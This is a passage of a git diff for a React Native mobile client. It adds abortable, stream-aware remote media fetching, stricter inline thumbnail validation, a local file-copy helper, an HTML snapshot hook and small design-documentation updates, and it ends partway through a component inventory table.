@@ -97,7 +98,7 @@ export async function fetchRemoteAbsFileToUrl(
const sshKey = eff
? `${eff.sessionId}\u0000${eff.remoteHostId}\u0000${eff.workdir}`
: '';
- const key = `${deps.deviceId}\u0000${absPath}\u0000${sshKey}`;
+ const key = `${deps.deviceId}\u0000${absPath}\u0000${sshKey}\u0000${deps.stream === false ? 'file' : 'stream'}`;
const cached = lookupCache(key, Date.now());
if (cached) return cached.url;
const resolved = await withTransientRemoteRetry(async () => {
@@ -106,6 +107,7 @@ export async function fetchRemoteAbsFileToUrl(
return resolveMobileRemoteMedia(
{ kind: 'image', url: remoteFileMediaUrl(absPath, undefined, ssh) },
{ fetchRemoteMedia: deps.maker.fetchRemoteMedia, presignGet: deps.presignGet },
+ deps.stream === false ? { stream: false } : undefined,
);
});
rememberFetch(key, resolved, Date.now());
@@ -142,6 +144,7 @@ export async function fetchRemoteAbsFileOnce(
* 流量与磁盘已经花掉了(review P2)。老被控端忽略这两个参数,故手机侧判断照旧保留。
*/
constraints?: RemoteMediaFetchConstraints | null,
+ signal?: AbortSignal,
): Promise<MobileResolvedRemoteMedia> {
return withTransientRemoteRetry(async () => {
await deps.openLink(deps.deviceId);
@@ -149,7 +152,7 @@ export async function fetchRemoteAbsFileOnce(
return resolveMobileRemoteMedia(
{ kind: 'image', url: remoteFileMediaUrl(absPath, undefined, ssh, constraints) },
{ fetchRemoteMedia: deps.maker.fetchRemoteMedia, presignGet: deps.presignGet },
- onOssKey ? { onOssKey } : undefined,
+ { onOssKey, signal, stream: false },
);
});
}
diff --git a/apps/mobile/src/session/remoteMedia.ts b/apps/mobile/src/session/remoteMedia.ts
index c4a0c639da..e834cab502 100644
--- a/apps/mobile/src/session/remoteMedia.ts
+++ b/apps/mobile/src/session/remoteMedia.ts
@@ -1,9 +1,10 @@
-import type { NormalizedToolMedia } from '@/session/messageNormalize';
+import { peerMediaUri, peerMediaExpiry } from "@/device-link/peerFileRegistry";
+import type { NormalizedToolMedia } from "@/session/messageNormalize";
import {
isPayloadDesktopLocalMediaUrl,
isPayloadDirectPreviewableUrl,
-} from '@cindy/maker-shared/payload-summary';
-import { i18n } from '@/i18n';
+} from "@cindy/maker-shared/payload-summary";
+import { i18n } from "@/i18n";
const EXPIRY_SAFETY_WINDOW_MS = 60 * 1000;
@@ -33,12 +34,27 @@ export interface MobileResolvedRemoteMedia {
inlineBase64?: string;
}
+export interface MobileRemoteMediaFetchOptions {
+ /** Local read intent only; false for consumers that copy complete bytes. */
+ stream?: boolean;
+ skipCache?: boolean;
+ thumbnail?: boolean;
+ signal?: AbortSignal;
+ /** Return an undelivered OSS result to its existing cleanup owner before cancellation rejects. */
+ onDiscardOssKey?: (ossKey: string) => void;
+}
+
export interface MobileRemoteMediaResolverDeps {
- fetchRemoteMedia(url: string, opts?: { skipCache?: boolean; thumbnail?: boolean }): Promise<MobileRemoteMediaFetchResult>;
+ fetchRemoteMedia(
+ url: string,
+ opts?: MobileRemoteMediaFetchOptions,
+ ): Promise<MobileRemoteMediaFetchResult>;
presignGet(ossKey: string): Promise<MobileRemoteMediaPresignResult>;
}
export interface MobileRemoteMediaResolveOptions {
+ stream?: boolean;
+ signal?: AbortSignal;
/** 强制被控端绕过上传去重缓存(上次的 ossKey 已悬空时的自愈路径)。 */
skipCache?: boolean;
/** 只要聊天列表缩略图:被控端缩 1024px webp inline 回包;老被控端回落原图。 */
@@ -58,7 +74,7 @@ export interface MobileRemoteMediaResolveOptions {
}
/** inline 缩略图没有 presign 过期语义,给个远未来的过期时间(本地字节不过期)。 */
-export const REMOTE_MEDIA_NEVER_EXPIRES = '9999-12-31T00:00:00.000Z';
+export const REMOTE_MEDIA_NEVER_EXPIRES = "9999-12-31T00:00:00.000Z";
/**
* UI 层远程媒体取件回调:缩略图懒取件传 signal(滚出队列可取消)+ thumbnail
@@ -67,8 +83,15 @@ export const REMOTE_MEDIA_NEVER_EXPIRES = '9999-12-31T00:00:00.000Z';
* 按不同键隔离,查看器取原图不会命中缩略图缓存。
*/
export type ResolveRemoteMediaFn = (
- media: Pick<NormalizedToolMedia, 'kind' | 'url' | 'previewable'> & { thumbnail?: boolean },
- opts?: { front?: boolean; signal?: AbortSignal; forceRefresh?: boolean; cachedOnly?: boolean },
+ media: Pick<NormalizedToolMedia, "kind" | "url" | "previewable"> & {
+ thumbnail?: boolean;
+ },
+ opts?: {
+ front?: boolean;
+ signal?: AbortSignal;
+ forceRefresh?: boolean;
+ cachedOnly?: boolean;
+ },
) => Promise<MobileResolvedRemoteMedia>;
export function isDesktopLocalMediaUrl(url: unknown): url is string {
@@ -80,12 +103,12 @@ export function isDirectPreviewableMediaUrl(url: unknown): url is string {
}
export function canPreviewResolvedRemoteMedia(
- kind: NormalizedToolMedia['kind'],
+ kind: NormalizedToolMedia["kind"],
mimeType: string,
): boolean {
- if (kind === 'image') return mimeType.startsWith('image/');
- if (kind === 'video') return mimeType.startsWith('video/');
- if (kind === 'audio') return mimeType.startsWith('audio/');
+ if (kind === "image") return mimeType.startsWith("image/");
+ if (kind === "video") return mimeType.startsWith("video/");
+ if (kind === "audio") return mimeType.startsWith("audio/");
return false;
}
@@ -109,7 +132,7 @@ export function localCopyResolvedMedia(
resolved: MobileResolvedRemoteMedia,
hit: { uri: string; mimeType: string; size: number } | null | undefined,
): MobileResolvedRemoteMedia | null {
- if (!hit || !hit.uri || !hit.mimeType.startsWith('image/')) return null;
+ if (!hit || !hit.uri || !hit.mimeType.startsWith("image/")) return null;
return {
url: hit.uri,
ossKey: resolved.ossKey,
@@ -122,22 +145,27 @@ export function localCopyResolvedMedia(
}
export function isResolvedRemoteMediaFresh(
- media: Pick<MobileResolvedRemoteMedia, 'expiresAt'>,
+ media: Pick<MobileResolvedRemoteMedia, "expiresAt">,
now = Date.now(),
): boolean {
const expiresAt = Date.parse(media.expiresAt);
- return Number.isFinite(expiresAt) && expiresAt - now > EXPIRY_SAFETY_WINDOW_MS;
+ return (
+ Number.isFinite(expiresAt) && expiresAt - now > EXPIRY_SAFETY_WINDOW_MS
+ );
}
export async function resolveMobileRemoteMedia(
- media: Pick<NormalizedToolMedia, 'kind' | 'url'>,
+ media: Pick<NormalizedToolMedia, "kind" | "url">,
deps: MobileRemoteMediaResolverDeps,
opts?: MobileRemoteMediaResolveOptions,
): Promise<MobileResolvedRemoteMedia> {
if (!isDesktopLocalMediaUrl(media.url)) {
- throw new Error(i18n.t('composer.attachments.notFetchableMedia'));
+ throw new Error(i18n.t("composer.attachments.notFetchableMedia"));
}
const fetchOpts = {
+ ...(opts?.stream !== undefined ? { stream: opts.stream } : {}),
+ ...(opts?.onOssKey ? { onDiscardOssKey: opts.onOssKey } : {}),
+ ...(opts?.signal ? { signal: opts.signal } : {}),
...(opts?.skipCache ? { skipCache: true } : {}),
...(opts?.thumbnail ? { thumbnail: true } : {}),
};
@@ -145,12 +173,22 @@ export async function resolveMobileRemoteMedia(
media.url,
Object.keys(fetchOpts).length > 0 ? fetchOpts : undefined,
);
+ const local = peerMediaUri(fetched);
+ if (local)
+ return {
+ url: local,
+ ossKey: "",
+ size: fetched.size,
+ mimeType: fetched.mimeType,
+ expiresAt: peerMediaExpiry(fetched)!,
+ previewable: canPreviewResolvedRemoteMedia(media.kind, fetched.mimeType),
+ };
// inline 缩略图回包:字节已随 invoke 帧到手,无 OSS 对象,跳过 presign。
// url 先给 data URI 保证任何情况下可渲染;宿主(会话屏)会把字节落盘并换成 file://。
if (isValidInlineResult(fetched)) {
return {
url: `data:${fetched.mimeType};base64,${fetched.inlineBase64}`,
- ossKey: '',
+ ossKey: "",
mimeType: fetched.mimeType,
size: fetched.size,
expiresAt: REMOTE_MEDIA_NEVER_EXPIRES,
@@ -162,15 +200,15 @@ export async function resolveMobileRemoteMedia(
// 不是「回包合不合法」—— 只要 ossKey 非空,被控端的 PUT 就已经完成了。放在 isValidFetchResult
// 之后会漏掉一整类:合法的**零字节**文件(空的 .css / .js 完全正常)会因为 `size > 0` 这条
// 校验先抛错,而对象已经上传 —— 调用方拿不到 key,那个对象永久遗留。
- if (typeof fetched?.ossKey === 'string' && fetched.ossKey.length > 0) {
+ if (typeof fetched?.ossKey === "string" && fetched.ossKey.length > 0) {
opts?.onOssKey?.(fetched.ossKey);
}
if (!isValidFetchResult(fetched)) {
- throw new Error(i18n.t('composer.attachments.mediaResultInvalid'));
+ throw new Error(i18n.t("composer.attachments.mediaResultInvalid"));
}
const signed = await deps.presignGet(fetched.ossKey);
if (!isValidPresignResult(signed)) {
- throw new Error(i18n.t('composer.attachments.mediaUrlInvalid'));
+ throw new Error(i18n.t("composer.attachments.mediaUrlInvalid"));
}
return {
url: signed.getUrl,
@@ -183,46 +221,60 @@ export async function resolveMobileRemoteMedia(
}
export function formatRemoteMediaSize(bytes: number): string {
- if (!Number.isFinite(bytes) || bytes <= 0) return '';
+ if (!Number.isFinite(bytes) || bytes <= 0) return "";
if (bytes < 1024) return `${bytes} B`;
if (bytes < 1024 * 1024) return `${(bytes / 1024).toFixed(1)} KB`;
- if (bytes < 1024 * 1024 * 1024) return `${(bytes / 1024 / 1024).toFixed(1)} MB`;
+ if (bytes < 1024 * 1024 * 1024)
+ return `${(bytes / 1024 / 1024).toFixed(1)} MB`;
return `${(bytes / 1024 / 1024 / 1024).toFixed(1)} GB`;
}
/** inline 缩略图回包有效性:字节 + 图片 mime + 正数 size 齐备才算。 */
-function isValidInlineResult(value: MobileRemoteMediaFetchResult): value is MobileRemoteMediaFetchResult & { inlineBase64: string } {
+function isValidInlineResult(
+ value: MobileRemoteMediaFetchResult,
+): value is MobileRemoteMediaFetchResult & { inlineBase64: string } {
return (
- !!value
- && typeof value.inlineBase64 === 'string'
- && value.inlineBase64.length > 0
- && typeof value.mimeType === 'string'
- && value.mimeType.startsWith('image/')
- && typeof value.size === 'number'
- && Number.isFinite(value.size)
- && value.size > 0
+ !!value &&
+ typeof value.inlineBase64 === "string" &&
+ typeof value.mimeType === "string" &&
+ /^[\w.+-]+\/[\w.+-]+$/.test(value.mimeType) &&
+ typeof value.size === "number" &&
+ Number.isFinite(value.size) &&
+ Number.isSafeInteger(value.size) &&
+ value.size >= 0 &&
+ value.inlineBase64.length <= 1024 * 1024 &&
+ /^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$/.test(
+ value.inlineBase64,
+ ) &&
+ (value.inlineBase64.length / 4) * 3 -
+ (value.inlineBase64.endsWith("==")
+ ? 2
+ : value.inlineBase64.endsWith("=")
+ ? 1
+ : 0) ===
+ value.size
);
}
function isValidFetchResult(value: MobileRemoteMediaFetchResult): boolean {
return (
- !!value
- && typeof value.ossKey === 'string'
- && value.ossKey.length > 0
- && typeof value.mimeType === 'string'
- && value.mimeType.length > 0
- && typeof value.size === 'number'
- && Number.isFinite(value.size)
- && value.size > 0
+ !!value &&
+ typeof value.ossKey === "string" &&
+ value.ossKey.length > 0 &&
+ typeof value.mimeType === "string" &&
+ value.mimeType.length > 0 &&
+ typeof value.size === "number" &&
+ Number.isFinite(value.size) &&
+ value.size >= 0
);
}
function isValidPresignResult(value: MobileRemoteMediaPresignResult): boolean {
return (
- !!value
- && typeof value.getUrl === 'string'
- && value.getUrl.startsWith('http')
- && typeof value.expiresAt === 'string'
- && Number.isFinite(Date.parse(value.expiresAt))
+ !!value &&
+ typeof value.getUrl === "string" &&
+ value.getUrl.startsWith("http") &&
+ typeof value.expiresAt === "string" &&
+ Number.isFinite(Date.parse(value.expiresAt))
);
}
diff --git a/apps/mobile/src/session/remoteMediaDiskCacheExpo.ts b/apps/mobile/src/session/remoteMediaDiskCacheExpo.ts
index f2f3631596..6f2ebd23b1 100644
--- a/apps/mobile/src/session/remoteMediaDiskCacheExpo.ts
+++ b/apps/mobile/src/session/remoteMediaDiskCacheExpo.ts
@@ -6,14 +6,34 @@
* expo-file-system 的原生模块随 expo 核心包已链接进现有原生构建,本文件只是
* JS 层引用,不影响 fingerprint(以 mobile:release:check 实测为准)。
*/
-import { Directory, File, Paths } from 'expo-file-system';
+import { Directory, File, Paths } from "expo-file-system";
-import { extOfMime, type RemoteMediaDiskCacheIO } from '@/session/remoteMediaDiskCache';
+import {
+ extOfMime,
+ type RemoteMediaDiskCacheIO,
+} from "@/session/remoteMediaDiskCache";
-const CACHE_DIR_NAME = 'remote-media';
-const INDEX_FILE_NAME = 'index.json';
-const INDEX_TMP_NAME = 'index.json.tmp';
-const SHARE_TMP_DIR_NAME = 'remote-media-share';
+const CACHE_DIR_NAME = "remote-media";
+const INDEX_FILE_NAME = "index.json";
+const INDEX_TMP_NAME = "index.json.tmp";
+const SHARE_TMP_DIR_NAME = "remote-media-share";
+
+async function copyRemoteFile(url: string, target: File): Promise<File> {
+ if (url.startsWith("file://")) {
+ new File(url).copy(target);
+ return target;
+ }
+ if (url.startsWith("data:")) {
+ const match = /^data:[\w.+-]+\/[\w.+-]+;base64,([A-Za-z0-9+/=]*)$/.exec(
+ url,
+ );
+ if (!match || match[1].length > 1024 * 1024)
+ throw new Error("INVALID_INLINE_FILE");
+ target.write(Uint8Array.from(atob(match[1]), (char) => char.charCodeAt(0)));
+ return target;
+ }
+ return File.downloadFileAsync(url, target, { idempotent: true });
+}
/**
* 一次性分享临时文件:超出磁盘缓存预算的对象走 store 会被 LRU 立即逐出,
@@ -32,7 +52,7 @@ export async function downloadRemoteMediaShareTemp(
// 带原始文件名时落进一次性唯一子目录:分享单里显示真实文件名与扩展名
// (PDF/视频/压缩包等非图片类型靠扩展名保住类型识别,extOfMime 只认图片
// mime,兜底 .img 会让接收方无法正确预览);子目录唯一化避免同名冲突。
- const safeName = fileName?.replace(/[\\/:*?"<>|]/g, '_').trim();
+ const safeName = fileName?.replace(/[\\/:*?"<>|]/g, "_").trim();
let target: File;
if (safeName) {
const sub = new Directory(dir, unique);
@@ -41,8 +61,8 @@ export async function downloadRemoteMediaShareTemp(
} else {
target = new File(dir, `share-${unique}.${extOfMime(mimeType)}`);
}
- const file = await File.downloadFileAsync(url, target, { idempotent: true });
- return (file.size ?? 0) > 0 ? file.uri : null;
+ const file = await copyRemoteFile(url, target);
+ return file.exists ? file.uri : null;
} catch {
return null; // 分享失败由调用方兜底提示
}
@@ -63,10 +83,15 @@ export async function downloadRemoteMediaAsDataUri(
mimeType: string,
maxBytes: number,
): Promise<string | null> {
- return withDownloadedRemoteMediaFile(url, mimeType, maxBytes, async (file) => {
- const base64 = await file.base64();
- return base64 ? `data:${mimeType};base64,${base64}` : null;
- });
+ return withDownloadedRemoteMediaFile(
+ url,
+ mimeType,
+ maxBytes,
+ async (file) => {
+ const base64 = await file.base64();
+ return base64 ? `data:${mimeType};base64,${base64}` : null;
+ },
+ );
}
/** Consume a size-bounded download before deleting its private temporary file. */
@@ -82,7 +107,7 @@ export async function withDownloadedRemoteMediaFile<T>(
dir.create({ intermediates: true, idempotent: true });
const unique = `${Date.now().toString(36)}-${Math.random().toString(36).slice(2, 8)}`;
target = new File(dir, `res-${unique}.${extOfMime(mimeType)}`);
- const file = await File.downloadFileAsync(url, target, { idempotent: true });
+ const file = await copyRemoteFile(url, target);
const size = file.size ?? 0;
if (size <= 0 || size > maxBytes) return null;
return await read(file);
@@ -133,8 +158,10 @@ export function createExpoRemoteMediaDiskCacheIO(): RemoteMediaDiskCacheIO {
// init 对账当孤儿清掉。
const tmp = new File(dir, `${name}.wb.tmp`);
try {
- const FileSystem = await import('expo-file-system/legacy');
- await FileSystem.writeAsStringAsync(tmp.uri, base64, { encoding: FileSystem.EncodingType.Base64 });
+ const FileSystem = await import("expo-file-system/legacy");
+ await FileSystem.writeAsStringAsync(tmp.uri, base64, {
+ encoding: FileSystem.EncodingType.Base64,
+ });
const size = tmp.size ?? 0;
if (size <= 0) {
if (tmp.exists) tmp.delete();
@@ -158,7 +185,7 @@ export function createExpoRemoteMediaDiskCacheIO(): RemoteMediaDiskCacheIO {
// 保留旧条目继续离线可看)。残留的 .dl.tmp 由 init 对账当孤儿清掉。
const tmp = new File(dir, `${name}.dl.tmp`);
try {
- const downloaded = await File.downloadFileAsync(url, tmp, { idempotent: true });
+ const downloaded = await copyRemoteFile(url, tmp);
const size = downloaded.size ?? 0;
if (size <= 0) {
if (tmp.exists) tmp.delete();
@@ -178,7 +205,8 @@ export function createExpoRemoteMediaDiskCacheIO(): RemoteMediaDiskCacheIO {
listFiles() {
// 数据文件名列表(契约:不含 index 自身与临时文件),供 init 对账删孤儿。
// .dl.tmp 残留刻意**不**过滤——它们不在 index 里,正该被对账清掉。
- return dir.list()
+ return dir
+ .list()
.filter((item): item is File => item instanceof File)
.map((file) => file.name)
.filter((name) => name !== INDEX_FILE_NAME && name !== INDEX_TMP_NAME);
diff --git a/apps/mobile/src/session/useHtmlSnapshot.ts b/apps/mobile/src/session/useHtmlSnapshot.ts
new file mode 100644
index 0000000000..dc3f705923
--- /dev/null
+++ b/apps/mobile/src/session/useHtmlSnapshot.ts
@@ -0,0 +1,42 @@
+import { useEffect, useState } from 'react';
+import { AppState } from 'react-native';
+import type { MobileHtmlPreview, PrepareMobileHtmlPreview } from './mobileHtmlPreview';
+
+/** Visible rendered page owns the listener. Resuming rebuilds a fresh snapshot after suspension. */
+export function useHtmlSnapshot(absPath: string, enabled: boolean, prepare: PrepareMobileHtmlPreview) {
+ const [foreground, setForeground] = useState(AppState.currentState === 'active');
+ const [epoch, setEpoch] = useState(0);
+ const [result, setResult] = useState<{
+ preview?: MobileHtmlPreview; error?: unknown; path?: string; prepare?: PrepareMobileHtmlPreview; epoch?: number;
+ }>({});
+ useEffect(() => {
+ const subscription = AppState.addEventListener('change', (state) => {
+ setForeground(state === 'active');
+ if (state === 'active') setEpoch((value) => value + 1);
+ });
+ return () => subscription.remove();
+ }, []);
+ useEffect(() => {
+ setResult({});
+ if (!enabled || !foreground) return;
+ const controller = new AbortController();
+ let preview: MobileHtmlPreview | undefined;
+ void prepare(absPath, controller.signal).then((value) => {
+ preview = value;
+ if (controller.signal.aborted) void value.close().catch(() => {});
+ else setResult({ preview: value, path: absPath, prepare, epoch });
+ }).catch((error: unknown) => {
+ if (!controller.signal.aborted) setResult({ error, path: absPath, prepare, epoch });
+ });
+ return () => {
+ controller.abort();
+ void preview?.close().catch(() => {});
+ };
+ }, [absPath, enabled, foreground, prepare, epoch]);
+ const current = enabled && foreground && result.path === absPath && result.prepare === prepare && result.epoch === epoch;
+ return {
+ preview: current ? result.preview : undefined,
+ error: current ? result.error : undefined,
+ foreground, retry: () => setEpoch((value) => value + 1),
+ };
+}
diff --git a/docs/design-rules/DESIGN.md b/docs/design-rules/DESIGN.md
index 2de8dcd3d3..eb2a6b5537 100644
--- a/docs/design-rules/DESIGN.md
+++ b/docs/design-rules/DESIGN.md
@@ -82,6 +82,8 @@ Small interactive chips (button backgrounds, tag pills, avatar fills, selected-n
### Semantic & Accent
+Toast loading is neutral: use the shared 16×16 Spinner in `--text-secondary`, with polite status semantics. Keep it visible until the operation settles and explicitly dismiss it; only failures use the error variant.
+
The grayscale rule is near-absolute. The following are the **only** sanctioned non-gray colors in the system — each tightly scoped to a specific surface. New semantic colors must not be introduced without being recorded here first.
- **Focus Blue** (`#417CDD` at 50%; tokens `--focus-ring` / `--focus-ring-soft`): the keyboard-accessibility focus ring, finalized 2026-07-17 (replaces Tailwind's default `#3b82f6`). Never visible in normal interaction flow.
diff --git a/docs/design-rules/design-inventory.md b/docs/design-rules/design-inventory.md
index a7909a721b..f3bce5ed5b 100644
--- a/docs/design-rules/design-inventory.md
+++ b/docs/design-rules/design-inventory.md
@@ -35,7 +35,7 @@
| `desktop.overlay.permission-prompt` | desktop | 权限询问 | PermissionPrompt(会话内权限卡;DS-9 迁移前置) | AskUserQuestionPrompt, PermissionPrompt, PermissionSelector | apps/desktop/src/renderer/components/new-chat/AskUserQuestionPrompt.tsx, apps/desktop/src/renderer/components/new-chat/PermissionPrompt.tsx, apps/desktop/src/renderer/components/new-chat/PermissionSelector.tsx | 53 | 2 | 24 |
| `desktop.overlay.route-error` | desktop | 路由错误页 | router errorElement → RouteErrorFallback / TopLevelErrorBoundary | AppCrashScreen, RouteErrorFallback, TopLevelErrorBoundary | apps/desktop/src/renderer/components/error/AppCrashScreen.tsx, apps/desktop/src/renderer/components/error/LocalDbFatalScreen.tsx, apps/desktop/src/renderer/components/error/RouteErrorFallback.tsx, apps/desktop/src/renderer/components/error/TopLevelErrorBoundary.tsx, apps/desktop/src/renderer/components/error/localDbFatalView.ts | 11 | 0 | 6 |
| `desktop.overlay.splash` | desktop | 启动遮罩 | App → SplashScreen;同源 gating 下并挂 LoginBrandStage(z-9980 品牌画布,启动期即可见、Splash(z-9999) 之下) | LoginBrandStage, SplashScreen | apps/desktop/src/renderer/components/login/LoginBrandStage.tsx, apps/desktop/src/renderer/components/splash/SplashScreen.tsx | 3 | 0 | 5 |
-| `desktop.overlay.toast` | desktop | Toast | App 常驻 ToastContainer(用户可见出口,不展开业务逻辑) | Toast, ToastContainer | apps/desktop/src/renderer/components/ui/toast/Toast.tsx, apps/desktop/src/renderer/components/ui/toast/ToastContainer.tsx, apps/desktop/src/renderer/components/ui/toast/index.ts | 7 | 4 | 4 |
+| `desktop.overlay.toast` | desktop | Toast | App 常驻 ToastContainer(用户可见出口,不展开业务逻辑) | Toast, ToastContainer | apps/desktop/src/renderer/components/ui/toast/Toast.tsx, apps/desktop/src/renderer/components/ui/toast/ToastContainer.tsx, apps/desktop/src/renderer/components/ui/toast/index.ts | 8 | 4 | 4 |
| `desktop.plugins.app-main` | desktop | 插件主视图 | hash `/apps/:ghostId`(GhostMainViewFeatureLayout) | GhostMainViewFeatureLayout, GhostMainViewHost | apps/desktop/src/renderer/features/plugin/GhostMainViewFeatureLayout.tsx, apps/desktop/src/renderer/features/plugin/GhostMainViewHost.tsx | 0 | 0 | 0 |
| `desktop.plugins.installed` | desktop | 已装插件 | hash `/plugins`(GhostPluginPage) | AddMarketplaceDialog, GhostPluginDetailView, GhostPluginPage, MarketPluginDetailView, MyPublishesSection, PluginManagementLayout, PluginScopePicker, UpdateAllDialog | apps/desktop/src/renderer/features/plugin/AddMarketplaceDialog.tsx, apps/desktop/src/renderer/features/plugin/GhostPluginDetailView.tsx, apps/desktop/src/renderer/features/plugin/GhostPluginPage.tsx, apps/desktop/src/renderer/features/plugin/MarketPluginDetailView.tsx, apps/desktop/src/renderer/features/plugin/MyPublishesSection.tsx, apps/desktop/src/renderer/features/plugin/PluginManagementLayout.tsx, apps/desktop/src/renderer/features/plugin/PluginScopePicker.tsx, apps/desktop/src/renderer/features/plugin/UpdateAllDialog.tsx, apps/desktop/src/renderer/features/plugin/plugin-motion.css | 49 | 0 | 82 |
| `desktop.settings` | desktop | 设置 | hash `/settings`(SettingsView;tab 含 general / personalization / providers / billing / usage / voice-input / im-bot / shortcuts / agent-island / import / remote-control / ghosts / builtin-tools / computer-use / help / about) | SettingsView | apps/desktop/src/renderer/components/settings/AboutSection.tsx, apps/desktop/src/renderer/components/settings/AccountDeletionSection.tsx, apps/desktop/src/renderer/components/settings/AddProviderWizard.tsx, apps/desktop/src/renderer/components/settings/AgentIslandSection.tsx, apps/desktop/src/renderer/components/settings/AgentResourceSection.tsx, apps/desktop/src/renderer/components/settings/AppearanceSection.tsx, apps/desktop/src/renderer/components/settings/AuxiliaryModelSection.tsx, apps/desktop/src/renderer/components/settings/BetaChannelCell.tsx, apps/desktop/src/renderer/components/settings/BrowserBackendSubsection.tsx, apps/desktop/src/renderer/components/settings/BrowserRealProfileSubsection.tsx, apps/desktop/src/renderer/components/settings/BuiltinToolsSection.tsx, apps/desktop/src/renderer/components/settings/ChatEmbeddingCell.tsx, apps/desktop/src/renderer/components/settings/ChipMetricsSection.tsx, apps/desktop/src/renderer/components/settings/CindyMakeSection.tsx, apps/desktop/src/renderer/components/settings/CollaborationSection.tsx, apps/desktop/src/renderer/components/settings/CompactionSection.tsx, apps/desktop/src/renderer/components/settings/ComposerSendShortcutSection.tsx, apps/desktop/src/renderer/components/settings/ComputerPermissionGuideWindow.tsx, apps/desktop/src/renderer/components/settings/ComputerPermissionRow.tsx, apps/desktop/src/renderer/components/settings/ComputerUseSection.tsx, apps/desktop/src/renderer/components/settings/CustomProviderRuntimeFillOverlay.tsx, apps/desktop/src/renderer/components/settings/DefaultOverrideControls.tsx, apps/desktop/src/renderer/components/settings/DingTalkBotSection.tsx, apps/desktop/src/renderer/components/settings/DiscordBotSection.tsx, apps/desktop/src/renderer/components/settings/DownloadMeter.tsx, apps/desktop/src/renderer/components/settings/ExperimentalSection.tsx, apps/desktop/src/renderer/components/settings/FeishuBotNotificationSection.tsx, apps/desktop/src/renderer/components/settings/FeishuBotSection.tsx, apps/desktop/src/renderer/components/settings/FontFamilyPicker.tsx, apps/desktop/src/renderer/components/settings/GenericGamepadLayout.tsx, apps/desktop/src/renderer/components/settings/GitSafetySection.tsx, apps/desktop/src/renderer/components/settings/HelpAssistantPanel.tsx, apps/desktop/src/renderer/components/settings/HelpSection.tsx, apps/desktop/src/renderer/components/settings/HelpThreadView.tsx, apps/desktop/src/renderer/components/settings/HookConnectionsSection.tsx, apps/desktop/src/renderer/components/settings/HookWorkspacePrefsEditor.tsx, apps/desktop/src/renderer/components/settings/ImBotSection.tsx, apps/desktop/src/renderer/components/settings/ImChannelSettingsCard.tsx, apps/desktop/src/renderer/components/settings/ImDefaultSettingsSection.tsx, apps/desktop/src/renderer/components/settings/ImLifecycleAnnouncementSection.tsx, apps/desktop/src/renderer/components/settings/InputDeviceConnectionStatus.tsx, apps/desktop/src/renderer/components/settings/JoyConGamepadLayout.tsx, apps/desktop/src/renderer/components/settings/KeyboardShortcutsSection.tsx, apps/desktop/src/renderer/components/settings/LanguageSection.tsx, apps/desktop/src/renderer/components/settings/LayoutResetControl.tsx, apps/desktop/src/renderer/components/settings/LinkOpenSection.tsx, apps/desktop/src/renderer/components/settings/LocalOllamaInstall.tsx, apps/desktop/src/renderer/components/settings/LocalPackagingTag.tsx, apps/desktop/src/renderer/components/settings/LogoutSection.tsx, apps/desktop/src/renderer/components/settings/LspBetaCell.tsx, apps/desktop/src/renderer/components/settings/McpServerDialog.tsx, apps/desktop/src/renderer/components/settings/McpServersSection.tsx, apps/desktop/src/renderer/components/settings/MemorySection.tsx, apps/desktop/src/renderer/components/settings/MessageNavRailCell.tsx, apps/desktop/src/renderer/components/settings/ModelAdvancedDrawer.tsx, apps/desktop/src/renderer/components/settings/ModelPriceOverrideDialog.tsx, apps/desktop/src/renderer/components/settings/MyDevicesPanel.tsx, apps/desktop/src/renderer/components/settings/NotificationSection.tsx, apps/desktop/src/renderer/components/settings/OAuthDeviceCodeCard.tsx, apps/desktop/src/renderer/components/settings/OllamaProviderDetail.tsx, apps/desktop/src/renderer/components/settings/PiPackagesSection.tsx, apps/desktop/src/renderer/components/settings/PlayStationGamepadLayout.tsx, apps/desktop/src/renderer/components/settings/ProfileEditDialog.tsx, apps/desktop/src/renderer/components/settings/ProviderConnectionDialog.tsx, apps/desktop/src/renderer/components/settings/ProviderImportDialog.tsx, apps/desktop/src/renderer/components/settings/ProvidersSection.tsx, apps/desktop/src/renderer/components/settings/RemoteControlSection.tsx, apps/desktop/src/renderer/components/settings/RemoteDesktopPermissions.tsx, apps/desktop/src/renderer/components/settings/RemoteDesktopSetting.tsx, apps/desktop/src/renderer/components/settings/RemoteHostDetail.tsx, apps/desktop/src/renderer/components/settings/RemoteSection.tsx, apps/desktop/src/renderer/components/settings/SessionImportSection.tsx, apps/desktop/src/renderer/components/settings/SessionRuntimeFallbackCell.tsx, apps/desktop/src/renderer/components/settings/SessionShareImportWizard.tsx, apps/desktop/src/renderer/components/settings/SettingsCatalogPanel.tsx, apps/desktop/src/renderer/components/settings/SettingsSegmentedControl.tsx, apps/desktop/src/renderer/components/settings/SettingsSidebarNav.tsx, apps/desktop/src/renderer/components/settings/SettingsTextInput.tsx, apps/desktop/src/renderer/components/settings/SettingsView.tsx, apps/desktop/src/renderer/components/settings/SilentEncryptedRetryCell.tsx, apps/desktop/src/renderer/components/settings/SshKeySetupDialog.tsx, apps/desktop/src/renderer/components/settings/StorageManagementCard.tsx, apps/desktop/src/renderer/components/settings/StreamFadeSection.tsx, apps/desktop/src/renderer/components/settings/SubagentModelSection.tsx, apps/desktop/src/renderer/components/settings/SwitchProGamepadLayout.tsx, apps/desktop/src/renderer/components/settings/TelegramBehaviorSettings.tsx, apps/desktop/src/renderer/components/settings/TelegramBotSection.tsx, apps/desktop/src/renderer/components/settings/TelegramRemoteDevices.tsx, apps/desktop/src/renderer/components/settings/TerminalShellSection.tsx, apps/desktop/src/renderer/components/settings/TipsSection.tsx, apps/desktop/src/renderer/components/settings/UnifiedModelList.tsx, apps/desktop/src/renderer/components/settings/UserProfileCard.tsx, apps/desktop/src/renderer/components/settings/UserPromptSection.tsx, apps/desktop/src/renderer/components/settings/VisionBridgeSection.tsx, apps/desktop/src/renderer/components/settings/VoiceInputSection.tsx, apps/desktop/src/renderer/components/settings/WechatBotSection.tsx, apps/desktop/src/renderer/components/settings/WecomBotSection.tsx, apps/desktop/src/renderer/components/settings/WindowBehaviorSection.tsx, apps/desktop/src/renderer/components/settings/WorkLouderCodexKeyboardLayout.tsx, apps/desktop/src/renderer/components/settings/WorkLouderCodexKeycapGlyphs.tsx, apps/desktop/src/renderer/components/settings/WorkLouderCodexSettings.tsx, apps/desktop/src/renderer/components/settings/XUsageGuide.tsx, apps/desktop/src/renderer/components/settings/XboxGamepadLayout.tsx, apps/desktop/src/renderer/components/settings/XboxGamepadSettings.tsx, apps/desktop/src/renderer/components/settings/androidStatusPresentation.ts, apps/desktop/src/renderer/components/settings/billingVisibility.ts, 